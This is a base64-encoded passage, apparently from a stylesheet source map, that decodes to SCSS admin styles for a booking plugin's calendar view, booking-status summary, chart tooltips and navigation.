AgIGJhY2tncm91bmQ6ICMyYzNlNTA7XG4gICAgYm9yZGVyLWNvbG9yOiAjMzQ0OTVlO1xuICAgIGNvbG9yOiAjZWNmMGYxO1xuICB9XG5cbiAgLnNsbi10b29sdGlwLWhlYWRlciB7XG4gICAgYmFja2dyb3VuZDogIzM0NDk1ZTtcbiAgICBib3JkZXItYm90dG9tLWNvbG9yOiAjNGE1ZjdhO1xuICB9XG5cbiAgLnNsbi10b29sdGlwLXRpdGxlIHtcbiAgICBjb2xvcjogI2VjZjBmMTtcbiAgfVxuXG4gIC5zbG4tdG9vbHRpcC1jbG9zZSB7XG4gICAgY29sb3I6ICNiZGMzYzc7XG5cbiAgICAmOmhvdmVyIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6ICM0YTVmN2E7XG4gICAgICBjb2xvcjogI2VjZjBmMTtcbiAgICB9XG4gIH1cblxuICAuc2xuLXRvb2x0aXAtZGV0YWlsIHtcbiAgICBib3JkZXItYm90dG9tLWNvbG9yOiAjNGE1ZjdhO1xuICB9XG5cbiAgLnNsbi10b29sdGlwLWxhYmVsIHtcbiAgICBjb2xvcjogI2JkYzNjNztcbiAgfVxuXG4gIC5zbG4tdG9vbHRpcC12YWx1ZSB7XG4gICAgY29sb3I6ICNlY2YwZjE7XG4gIH1cblxuICAuc2xuLXRvb2x0aXAtYWN0aW9uIHtcbiAgICBiYWNrZ3JvdW5kOiAjMzQ0OTVlO1xuICAgIGJvcmRlci1jb2xvcjogIzRhNWY3YTtcbiAgICBjb2xvcjogI2JkYzNjNztcblxuICAgICY6aG92ZXIge1xuICAgICAgYmFja2dyb3VuZDogIzRhNWY3YTtcbiAgICAgIGJvcmRlci1jb2xvcjogIzVhNmY4YTtcbiAgICAgIGNvbG9yOiAjZWNmMGYxO1xuICAgIH1cbiAgfVxufSAqL1xuIiwiQHVzZSAnLi4vYWRtaW5fY29uZmlnJztcbkB1c2UgJy4uL3R5cG8tYWRtaW4nO1xuQHVzZSAnLi4vc2V0dGluZ3MtbWl4aW5zJztcblxuLnNsbi1jYWxlbmRhci12aWV3IHtcbiAgYmFja2dyb3VuZC1jb2xvcjogI2ZmZjtcbiAgbWFyZ2luOiAwO1xuICBib3JkZXItcmFkaXVzOiAxLjM3NXJlbTtcbiAgQGV4dGVuZCAlemktYmFzZTtcbiAgZm9udC1zaXplOiB0eXBvLWFkbWluLiRmb250LXNpemUtYmFzZTtcbiAgW2RhdGEtY2FsLXZpZXddIHtcbiAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgdHJhbnNpdGlvbjogYWxsIDI1MG1zO1xuICAgIHRyYW5zZm9ybTogc2NhbGUoMSk7XG4gICAgLy8gQG1lZGlhIChob3ZlcjogaG92ZXIpIGFuZCAocG9pbnRlcjogZmluZSkge1xuICAgIC8vICAgJjpob3ZlciB7XG4gICAgLy8gICAgIHRyYW5zZm9ybTogc2NhbGUoMS4yKTtcbiAgICAvLyAgIH1cbiAgICAvLyB9XG4gIH1cbiAgLmJ0bi1ncm91cCB7XG4gICAgbWFyZ2luLXRvcDogMDtcbiAgfVxuICAjY2FsZW5kYXIge1xuICAgIEBleHRlbmQgJXppLWZvbmRvO1xuICB9XG5cbiAgI2NhbC1kYXktYm94IHtcbiAgICBAZXh0ZW5kICV6aS1ncmFmaWNhO1xuICB9XG4gICNjYWwtZGF5LXBhbmVsIHtcbiAgICBAZXh0ZW5kICV6aS1oaWdobGlnaHRzO1xuICB9XG4gICNjYWwtc2xpZGUtY29udGVudCB7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLmFscGhhLXRvbmVzKFxuICAgICAgYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodCxcbiAgICAgIDAuNVxuICAgICk7XG4gICAgYS5ldmVudC1pdGVtIHtcbiAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgIC5zbG4tY2FsZW5kYXItZXZlbnQtY2FsbHRvIHtcbiAgICAgICAgZGlzcGxheTogbm9uZTtcbiAgICAgIH1cbiAgICAgICY6aG92ZXIge1xuICAgICAgICAuc2xuLWNhbGVuZGFyLWV2ZW50LWNhbGx0byB7XG4gICAgICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gICAgLnNsbi1jYWxlbmRhci1ldmVudC1jYWxsdG8ge1xuICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgbGVmdDogY2FsYygxMDAlICsgMTRweCk7XG4gICAgICB0b3A6IGNhbGMoNTAlIC0gMTVweCk7XG4gICAgICB3aGl0ZS1zcGFjZTogbm93cmFwO1xuICAgICAgLy9ib3JkZXI6IDRweCBzb2xpZCAkY2xfbWFpbi0tZW1waGFzaXM7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWVtcGhhc2lzO1xuICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICBwYWRkaW5nOiAwIHNldHRpbmdzLW1peGlucy5yZW0oNTRweCkgMCBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpO1xuICAgICAgbGluZS1oZWlnaHQ6IDMwcHg7XG4gICAgICBAZXh0ZW5kICVmb250LWJpZztcbiAgICAgIC8vQGluY2x1ZGUgYi1yYWRpdXMoNHB4KTtcbiAgICAgICY6YmVmb3JlIHtcbiAgICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICAgIGNvbnRlbnQ6ICcnO1xuICAgICAgICB3aWR0aDogMjRweDtcbiAgICAgICAgaGVpZ2h0OiAyNHB4O1xuICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgICAgIGxlZnQ6IC04cHg7XG4gICAgICAgIHRvcDogY2FsYyg1MCUgLSA4cHgpO1xuICAgICAgICAvL2JhY2tncm91bmQtY29sb3I6ICRjbF9tYWluLS1lbXBoYXNpcztcbiAgICAgICAgLy8tbXMtdHJhbnNmb3JtOiByb3RhdGUoNDVkZWcpO1xuICAgICAgICAvLy13ZWJraXQtdHJhbnNmb3JtOiByb3RhdGUoNDVkZWcpO1xuICAgICAgICAvL3RyYW5zZm9ybTogcm90YXRlKDQ1ZGVnKTtcbiAgICAgICAgd2lkdGg6IDA7XG4gICAgICAgIGhlaWdodDogMDtcbiAgICAgICAgYm9yZGVyLXRvcDogOHB4IHNvbGlkIHRyYW5zcGFyZW50O1xuICAgICAgICBib3JkZXItYm90dG9tOiA4cHggc29saWQgdHJhbnNwYXJlbnQ7XG4gICAgICAgIGJvcmRlci1yaWdodDogOHB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZW1waGFzaXM7XG4gICAgICB9XG4gICAgICAvKiBGSVggMDkyMDIzXG5cdFx0XHQmOmFmdGVyIHtcblx0XHRcdFx0Y29udGVudDogXCJcXGYwMTNcIjtcblx0XHRcdFx0ZGlzcGxheTogaW5saW5lLWJsb2NrO1xuXHRcdFx0XHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdFx0XHRcdHRvcDogMDtcblx0XHRcdFx0cmlnaHQ6IDA7XG5cdFx0XHRcdGJvdHRvbTogMDtcblx0XHRcdFx0dGV4dC1hbGlnbjogY2VudGVyO1xuXHRcdFx0XHRAZXh0ZW5kICVmb250LWljb247XG5cdFx0XHRcdEBpbmNsdWRlIHRyYW5zaXRpb24oYmFja2dyb3VuZC1jb2xvciAyMDBtcywgY29sb3IgMzAwbXMpO1xuXHRcdFx0XHR6LWluZGV4OiAyMDA7XG5cdFx0XHRcdHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgxMnB4KTtcblx0XHRcdFx0Zm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDE4cHgpO1xuXHRcdFx0XHRsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg0NXB4KTtcblx0XHRcdH1cblx0XHRcdCovXG4gICAgfVxuICB9XG4gIC5jYWwtZGF5LXBhZ2luYXRpb24ge1xuICAgIC5idG4ge1xuICAgICAgbWFyZ2luOiAwIDNweCAhaW1wb3J0YW50O1xuICAgICAgcGFkZGluZzogMCAhaW1wb3J0YW50O1xuICAgICAgd2lkdGg6IDE4cHg7XG4gICAgICBoZWlnaHQ6IDE4cHg7XG4gICAgICBib3JkZXItcmFkaXVzOiA1MCUgIWltcG9ydGFudDtcblxuICAgICAgJi5hY3RpdmUge1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX29rO1xuICAgICAgfVxuICAgIH1cbiAgfVxuICAuY2FsLWRheS1ob3VyLXBhcnQ6aG92ZXIge1xuICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9iZy0tbWFpbi0tbGlnaHQ7XG4gIH1cblxuICAuc2xuLWNhbGVuZGFyLXZpZXctaGVhZGVyIHtcbiAgICAvLyBkaXNwbGF5OiBncmlkO1xuICAgIC8vIGdyaWQtdGVtcGxhdGUtY29sdW1uczogMWZyIDJmcjtcbiAgICBnYXA6IDFyZW07XG4gICAgLy8gYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICBkaXNwbGF5OiBmbGV4O1xuICAgIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47XG4gICAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuO1xuICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgLy8gbWFyZ2luOiAxcmVtIDAgMnJlbSAwO1xuICAgICY6aGFzKC5zbG4tcHJvZmVhdHVyZV9fdG9vbHRpcC13cmFwcGVyKSB7XG4gICAgICBtYXJnaW4tYm90dG9tOiAwLjc1cmVtO1xuICAgIH1cbiAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAgICAgZGlzcGxheTogZ3JpZDtcbiAgICAgIGdyaWQtdGVtcGxhdGUtY29sdW1uczogM2ZyIDRmcjtcbiAgICAgIGdhcDogMXJlbTtcbiAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgfVxuICB9XG5cbiAgLnNsbi1ib29raW5nLXN0YXR1cy1zdW1tYXJ5IHtcbiAgICB3aWR0aDogZml0LWNvbnRlbnQ7XG4gICAganVzdGlmeS1zZWxmOiBmbGV4LWVuZDtcbiAgICBtYXJnaW4tdG9wOiAxMHB4O1xuICAgICYuY2hhcnQtdG9vbHRpcC12aXNpYmxlIHtcbiAgICAgIC5zbG4tc3RhdHVzLXN1bW1hcnlfX2l0ZW06bm90KC5hY3RpdmUpIHtcbiAgICAgIG9wYWNpdHk6IDAuNzU7XG4gICAgICB0cmFuc2Zvcm06IHNjYWxlKDAuOSk7XG4gICAgICBmaWx0ZXI6IHNhdHVyYXRlKDApO1xuICAgICAgfVxuICAgIH1cblxuXG5cbiAgICAvLyBQUk8vRlJFRSB2ZXJzaW9uIHN0eWxpbmdcbiAgICAmLnNsbi1wcm9mZWF0dXJlLS1kaXNhYmxlZCB7XG4gICAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG5cbiAgICAgIC5zbG4tcHJvZmVhdHVyZV9faW5wdXQge1xuICAgICAgICBjdXJzb3I6IG5vdC1hbGxvd2VkO1xuICAgICAgICBwb2ludGVyLWV2ZW50czogbm9uZTtcbiAgICAgICAgcGFkZGluZzogMDtcbiAgICAgICAgcGFkZGluZy1sZWZ0OiA0LjVyZW07XG4gICAgICAgIG9wYWNpdHk6IDE7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9iZy0tZ3JleS1saWdodDtcbiAgICAgIH1cblxuICAgICAgLy8gR3JheSBvdXQgdGhlIHN0YXR1cyBpdGVtcyBpbiBGUkVFIHZlcnNpb25cbiAgICAgIC5zbG4tc3RhdHVzLXN1bW1hcnlfX2l0ZW0ge1xuICAgICAgICAvLyBvcGFjaXR5OiAwLjY7XG5cbiAgICAgICAgc3Ryb25nIHtcbiAgICAgICAgICBjb2xvcjogIzk5OTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgLy8gU3R5bGUgdGhlIG1vY2t1cCBTVkcgY2hhcnRcbiAgICAgIC5zbG4tYm9va2luZy1zdGF0dXMtY2hhcnQtbW9ja3VwIHtcbiAgICAgICAgZmlsdGVyOiBzYXR1cmF0ZSgwKTtcbiAgICAgIH1cbiAgICB9XG4gIH1cbiAgLnNsbi1ib29raW5nLXN0YXR1cy1zdW1tYXJ5IHtcbiAgICAuc2xuLXByb2ZlYXR1cmVfX2lucHV0IHtcbiAgICAgIHdpZHRoOiAxMDAlO1xuICAgICAgZGlzcGxheTogZ3JpZDtcbiAgICAgIGdyaWQtdGVtcGxhdGUtY29sdW1uczogMWZyIDFmcjtcbiAgICAgIGdyaWQtdGVtcGxhdGUtcm93czogYXV0bztcbiAgICAgIGdhcDogMXJlbTtcbiAgICAgIHBhZGRpbmc6IDA7XG4gICAgICBwYWRkaW5nLWJvdHRvbTogMDtcbiAgICAgIC5zbG4tc3RhdHVzLXN1bW1hcnlfX2l0ZW0ge1xuICAgICAgICBkaXNwbGF5OiBmbGV4O1xuICAgICAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uLXJldmVyc2U7XG4gICAgICAgIGFsaWduLWl0ZW1zOiBzdGFydDtcbiAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG4gICAgICAgIGdhcDogMC4yNXJlbTtcbiAgICAgICAgZm9udC1zaXplOiAwLjc1cmVtO1xuICAgICAgICB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlO1xuICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX3RleHQtLWxpZ2h0O1xuICAgICAgICB0cmFuc2l0aW9uOiBhbGwgMC4ycyBlYXNlO1xuICAgICAgICBzdHJvbmcge1xuICAgICAgICAgIGZvbnQtc2l6ZTogMXJlbTtcbiAgICAgICAgICBmb250LXdlaWdodDogNjAwO1xuICAgICAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfdGV4dC0tbGlnaHQtLWV2aWQ7XG4gICAgICAgICAgdHJhbnNpdGlvbjogYWxsIDAuMnMgZWFzZTtcbiAgICAgICAgfVxuICAgICAgICAmLmFjdGl2ZSB7XG4gICAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgxLjA1KTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgLnNsbi1zdGF0dXMtc3VtbWFyeV9faXRlbS0tcGFpZC1jb25maXJtZWQge1xuICAgICAgICBjb2xvcjogIzZhYTg0ZjtcbiAgICAgIH1cbiAgICAgIC5zbG4tc3RhdHVzLXN1bW1hcnlfX2l0ZW0tLXBheS1sYXRlciB7XG4gICAgICAgIGNvbG9yOiAjNmQ5ZWViO1xuICAgICAgfVxuICAgICAgLnNsbi1zdGF0dXMtc3VtbWFyeV9faXRlbS0tcGVuZGluZyB7XG4gICAgICAgIGNvbG9yOiAjZjU4MTIwO1xuICAgICAgfVxuICAgICAgLnNsbi1zdGF0dXMtc3VtbWFyeV9faXRlbS0tY2FuY2VsbGVkIHtcbiAgICAgICAgY29sb3I6ICNlNTQ3NDc7XG4gICAgICB9XG4gICAgICAuc2xuLXN0YXR1cy1zdW1tYXJ5X19pdGVtLS1ub3Nob3cge1xuICAgICAgICBjb2xvcjogIzFiMWIyMTtcbiAgICAgIH1cbiAgICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcbiAgICAgICAgZGlzcGxheTogZmxleDtcbiAgICAgICAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuO1xuICAgICAgfVxuICAgICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcbiAgICAgICAgd2lkdGg6IGZpdC1jb250ZW50O1xuICAgICAgICBqdXN0aWZ5LXNlbGY6IGVuZDtcbiAgICAgICAgZ2FwOiAycmVtO1xuICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtZW5kO1xuICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgICAgICAvLyBwYWRkaW5nOiAwIDAgMCAxLjVyZW07XG4gICAgICAgIC8vIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9iZy0tZ3JleS1saWdodDtcbiAgICAgICAgLy8gYm9yZGVyOiAycHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9kX21haW47XG4gICAgICAgIC8vIGJvcmRlci1yYWRpdXM6IDAuNzVyZW07XG4gICAgICB9XG4gICAgfVxuICB9XG5cbiAgLy8gUFJPIGZlYXR1cmUgQ1RBIHNwZWNpZmljIHRvIGJvb2tpbmcgc3RhdHVzIHN1bW1hcnlcbiAgLnNsbi1wcm9mZWF0dXJlX19jdGEuc2xuLXByb2ZlYXR1cmVfX2N0YS0tYm9va2luZy1zdGF0dXMtc3VtbWFyeSB7XG4gICAgLy8gQ292ZXIgdGhlIGVudGlyZSBzdW1tYXJ5IGFyZWFcbiAgICB0b3A6IDA7XG4gICAgcmlnaHQ6IDA7XG4gICAgYm90dG9tOiAwO1xuICAgIGxlZnQ6IDA7XG5cbiAgICAuc2xuLXByb2ZlYXR1cmVfX29wZW4tYnV0dG9uIHtcbiAgICAgIGhlaWdodDogMTAwJTtcbiAgICAgIG1pbi1oZWlnaHQ6IDNyZW07XG5cbiAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgLy8gQ3VzdG9tIHRvb2x0aXAgcG9zaXRpb25pbmcgZm9yIHRoaXMgY29tcG9uZW50XG4gICAgICAgIHBhZGRpbmc6IDAuNzVyZW0gMXJlbSAwLjc1cmVtIDRyZW07XG4gICAgICAgIGJhY2tncm91bmQtcG9zaXRpb246IDFyZW0gY2VudGVyO1xuICAgICAgfVxuICAgIH1cbiAgfVxuXG4gICNzbG4tYm9va2luZy1zdGF0dXMtY2hhcnQtY29udGFpbmVyIHtcbiAgICBzdmcge1xuICAgICAgb3ZlcmZsb3c6IHZpc2libGUgIWltcG9ydGFudDtcbiAgICB9XG4gIH1cblxuICAvLyBDdXN0b20gY2hhcnQgdG9vbHRpcFxuICAjc2xuLWNoYXJ0LWN1c3RvbS10b29sdGlwIHtcbiAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgdG9wOiAtNjZweDtcbiAgICByaWdodDogNTAlO1xuICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWCg1MCUpO1xuICAgIGRpc3BsYXk6IG5vbmU7XG4gICAgcG9pbnRlci1ldmVudHM6IG5vbmU7XG4gICAgei1pbmRleDogMTAwMDtcbiAgICBtaW4td2lkdGg6IDE1MHB4O1xuICAgIGhlaWdodDogNjZweDtcblxuICAgIC5zbG4tY2hhcnQtY3VzdG9tLXRvb2x0aXBfX2lubmVyIHtcbiAgICAgIGxpbmUtaGVpZ2h0OiAxLjQ7XG4gICAgICBwYWRkaW5nOiAxMnB4IDE2cHg7XG4gICAgICBiYWNrZ3JvdW5kOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgICAgYm9yZGVyOiAxcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICAgIGJvcmRlci1yYWRpdXM6IDRweDtcbiAgICAgIGJveC1zaGFkb3c6IDAgMnB4IDhweCByZ2JhKDAsIDAsIDAsIDAuMTUpO1xuICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICB3aWR0aDogMXJlbTtcbiAgICAgICAgaGVpZ2h0OiAxcmVtO1xuICAgICAgICBjb250ZW50OiAnJztcbiAgICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICBib3R0b206IC04cHg7IC8vIEFkanVzdCBiYXNlZCBvbiBhcnJvdyBzaXplXG4gICAgICAgIGxlZnQ6IDUwJTtcbiAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVYKC01MCUpIHJvdGF0ZSg0NWRlZyk7XG4gICAgICAgIGJvcmRlcjogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICAgIGJvcmRlci1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZSBjdXJyZW50Q29sb3IgY3VycmVudENvbG9yXG4gICAgICAgICAgYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICAgICAgLy8gZmlsdGVyOiBkcm9wLXNoYWRvdygwIDJweCAxcHggcmdiYSgwLCAwLCAwLCAwLjEpKTtcbiAgICAgICAgLy90cmFuc2Zvcm0tb3JpZ2luOiB0b3A7XG4gICAgICB9XG4gICAgfVxuXG4gICAgLnNsbi1jaGFydC1jdXN0b20tdG9vbHRpcF9fbGFiZWwge1xuICAgICAgZm9udC1zaXplOiAwLjc1cmVtO1xuICAgICAgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTtcbiAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7XG4gICAgICBtYXJnaW4tYm90dG9tOiA0cHg7XG4gICAgfVxuXG4gICAgLnNsbi1jaGFydC1jdXN0b20tdG9vbHRpcF9fdmFsdWUge1xuICAgICAgZm9udC1zaXplOiAwLjg3NXJlbTtcbiAgICAgIGZvbnQtd2VpZ2h0OiA4MDA7XG4gICAgICBjb2xvcjogIzcwODY5NztcbiAgICB9XG5cbiAgICAuc2xuLWNoYXJ0LWN1c3RvbS10b29sdGlwX19jb3VudCB7XG4gICAgICBmb250LXNpemU6IDAuODc1cmVtO1xuICAgICAgY29sb3I6ICM3MDg2OTc7XG4gICAgICBmb250LXdlaWdodDogNDAwO1xuICAgIH1cbiAgfVxuICAvLyAuc2xuLWNhbGVuZGFyLXZpZXcgLy8gRU5EXG59XG4uc2xuLWNhbGVuZGFyLXZpZXctdG9wYmFyIHtcbiAgZGlzcGxheTogZmxleDtcbiAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcbiAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgZ2FwOiAxcmVtO1xuICBwYWRkaW5nOiAxcmVtO1xuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAgIGRpc3BsYXk6IGdyaWQ7XG4gICAgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAxZnIgMWZyO1xuICAgIGdhcDogMXJlbTtcbiAgfVxufVxuLnNsbi1jYWxlbmRhci12aWV3LW5hdiB7XG4gIGRpc3BsYXk6IGdyaWQ7XG4gIGdyaWQtdGVtcGxhdGUtY29sdW1uczogMmZyIDFmciAxZnI7XG4gIGdyaWQtdGVtcGxhdGUtcm93czogYXV0bztcbiAgZ2FwOiAxcmVtO1xuICBwYWRkaW5nOiAxcmVtO1xuICAuc2xuLWJveC10aXRsZSB7XG4gICAgZ3JpZC1jb2x1bW46IDEgLyBzcGFuIDM7XG4gICAgZ3JpZC1yb3c6IDE7XG4gICAgbWluLXdpZHRoOiAxMDAlO1xuICAgIG1hcmdpbi1ib3R0b206IDFyZW07XG4gICAgcGFkZGluZzogMDtcbiAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgQGV4dGVuZCAlZm9udC1iaWc7XG4gIH1cbiAgLnNsbi1idG4tLWNhbGVuZGFyLXZpZXctLXBpbGwge1xuICAgIGdyaWQtY29sdW1uOiAxO1xuICAgIGdyaWQtcm93OiAyO1xuICAgIGJ1dHRvbiB7XG4gICAgICB3aGl0ZS1zcGFjZTogbm93cmFwO1xuICAgICAgb3ZlcmZsb3c6IGhpZGRlbjtcbiAgICAgIHRleHQtb3ZlcmZsb3c6IGVsbGlwc2lzO1xuICAgIH1cbiAgfVxuICAuc2xuLWljb24tLWFycm93LS1sZWZ0IHtcbiAgICBncmlkLWNvbHVtbjogMjtcbiAgICBncmlkLXJvdzogMjtcbiAgfVxuICAuc2xuLWljb24tLWFycm93LS1yaWdodCB7XG4gICAgZ3JpZC1jb2x1bW46IDM7XG4gICAgZ3JpZC1yb3c6IDI7XG4gIH1cbiAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuICAgIGRpc3BsYXk6IGZsZXg7XG4gICAganVzdGlmeS1jb250ZW50OiBzdGFydDtcbiAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgIGdhcDogMnJlbTtcbiAgICBncmlkLWNvbHVtbjogMTtcbiAgICAuc2xuLWJveC10aXRsZSB7XG4gICAgICBtaW4td2lkdGg6IHVuc2V0O1xuICAgICAgbWFyZ2luLWJvdHRvbTogMDtcbiAgICAgIHRleHQtYWxpZ246IGxlZnQ7XG4gICAgfVxuICAgIC5zbG4tYm94LXRpdGxlLFxuICAgIC5zbG4tYnRuLS1jYWxlbmRhci12aWV3LS1waWxsLFxuICAgIC5zbG4taWNvbi0tYXJyb3ctLWxlZnQsXG4gICAgLnNsbi1pY29uLS1hcnJvdy0tcmlnaHQge1xuICAgICAgZ3JpZC1jb2x1bW46IHVuc2V0O1xuICAgICAgZ3JpZC1yb3c6IHVuc2V0O1xuICAgIH1cbiAgfVxufVxuLnNsbi1jYWxlbmRhci12aWV3LXN3aXRjaGVyIHtcbiAgLnNsbi1uYXYtdGFiLXdyYXBwZXIubmF2LXRhYi13cmFwcGVyIHtcbiAgICBkaXNwbGF5OiBmbGV4O1xuICAgIGp1c3RpZnktY29udGVudDogZW5kO1xuICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgbWFyZ2luLWJvdHRvbTogMDtcbiAgICAmOjphZnRlciB7XG4gICAgICBkaXNwbGF5OiBub25lO1xuICAgIH1cbiAgfVxuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG4gICAgZ3JpZC1jb2x1bW46IDI7XG4gICAgLnNsbi1uYXYtdGFiLXdyYXBwZXIubmF2LXRhYi13cmFwcGVyIHtcbiAgICAgIGdhcDogMnJlbTtcbiAgICB9XG4gIH1cbn1cblxuLnNsbi1jYWxlbmRhci12aWV3LXRvcGJhci0tc2Vjb25kYXJ5IHtcbiAgZGlzcGxheTogZmxleDtcbiAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcbiAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuO1xuICBhbGlnbi1pdGVtczogY2VudGVyO1xuICBnYXA6IDFyZW07XG4gIG1hcmdpbi10b3A6IDEuNXJlbTtcbiAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuICAgIGZsZXgtZGlyZWN0aW9uOiByb3c7XG4gICAgbWFyZ2luLXRvcDogMDtcbiAgICAuc2xuLXN3aXRjaCBpbnB1dCArIGxhYmVsIHtcbiAgICAgIHBhZGRpbmctcmlnaHQ6IDA7XG4gICAgfVxuICB9XG59XG4vL1xuLmRheS1ldmVudC5icmVhay1kb3duOjphZnRlciB7XG4gIGNvbnRlbnQ6ICcnO1xuICBkaXNwbGF5OiBibG9jaztcbiAgbWFyZ2luOiAtMjBweCAwIDA7XG4gIGhlaWdodDogMjBweDtcbiAgdG9wOiAwO1xuICBiYWNrZ3JvdW5kOlxuICAgIGxpbmVhci1ncmFkaWVudCgtNDVkZWcsIHdoaXRlIDEwcHgsIHRyYW5zcGFyZW50IDApIDAgMTBweCxcbiAgICBsaW5lYXItZ3JhZGllbnQoNDVkZWcsIHdoaXRlIDEwcHgsIHRyYW5zcGFyZW50IDApIDAgMTBweDtcbiAgYmFja2dyb3VuZC1wb3NpdGlvbjogdG9wIGxlZnQ7XG4gIGJhY2tncm91bmQtcmVwZWF0OiByZXBlYXQteDtcbiAgYmFja2dyb3VuZC1zaXplOiAxOXB4IDIwcHg7XG59XG4uZGF5LWV2ZW50LmJyZWFrLXVwOjphZnRlciB7XG4gIGNvbnRlbnQ6ICcnO1xuICBkaXNwbGF5OiBibG9jaztcbiAgbWFyZ2luOiAwcHggMCAtMjBweDtcbiAgaGVpZ2h0OiAyMHB4O1xuICB0b3A6IDExMCU7XG4gIGJhY2tncm91bmQ6XG4gICAgbGluZWFyLWdyYWRpZW50KC0xMzVkZWcsIHdoaXRlIDEwcHgsIHRyYW5zcGFyZW50IDApIDAgMTBweCxcbiAgICBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCB3aGl0ZSAxMHB4LCB0cmFuc3BhcmVudCAwKSAwIDEwcHg7XG4gIGJhY2tncm91bmQtcG9zaXRpb246IHRvcCBsZWZ0O1xuICBiYWNrZ3JvdW5kLXJlcGVhdDogcmVwZWF0LXg7XG4gIGJhY2tncm91bmQtc2l6ZTogMTlweCAyMHB4O1xufVxuXG4uZGF5LWV2ZW50LmJyZWFrLWRvd24gLmV2ZW50LWl0ZW0ge1xuICBwYWRkaW5nLWJvdHRvbTogMTBweDtcbiAgaGVpZ2h0OiAxMDAlO1xuICBkaXNwbGF5OiBibG9jaztcbiAgYm9yZGVyLWJvdHRvbS13aWR0aDogMDtcbn1cblxuI2NhbC1kYXktYm94IC5kYXktZXZlbnQuYnJlYWstZG93bi5kYXktaGlnaGxpZ2h0IHtcbiAgYm9yZGVyLWJvdHRvbS13aWR0aDogMDtcbn1cblxuLmRheS1ldmVudC5icmVhay